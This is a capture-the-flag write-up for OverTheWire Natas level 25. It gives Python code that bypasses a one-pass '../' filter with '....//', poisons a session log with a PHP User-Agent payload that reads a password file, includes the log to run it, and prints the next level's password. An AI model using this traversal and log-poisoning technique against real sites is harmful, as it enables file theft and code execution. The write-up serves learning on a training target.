Writeups OverTheWireNatasWebPath TraversalLog PoisoningLFIPHP

Natas 25 Writeup - OverTheWire

Writeup for Natas level 25 from OverTheWire: path traversal via language parameter + log poisoning.

Contents

Wargame: Natas

Level: 25

Category: Web Security

Description

The lang parameter selects a language file. The code strips ../ but only once, so ....// bypasses the filter and still resolves to ../. A separate log file is written per session and includes the User-Agent header unsanitised.

Overview

Solution

# Step 1: poison the log with a PHP payload in User-Agent
traversal = "....//....//....//....//....//....//....//var/www/natas/natas25/logs/natas25_{session}.log"
headers = {"User-Agent": "<?php echo file_get_contents('/etc/natas_webpass/natas26'); ?>"}
requests.get(url + f"?lang={traversal}", auth=auth, headers=headers, cookies=cookies)

# Step 2: include the log file to execute the PHP
r = requests.get(url + f"?lang={traversal}", auth=auth, cookies=cookies)
result = re.search(r"[A-Za-z0-9]{32}", r.text).group(0)

Password

8A506rfIAXbKKk68yJeuTuRq4UfcK70k

← Back to Blog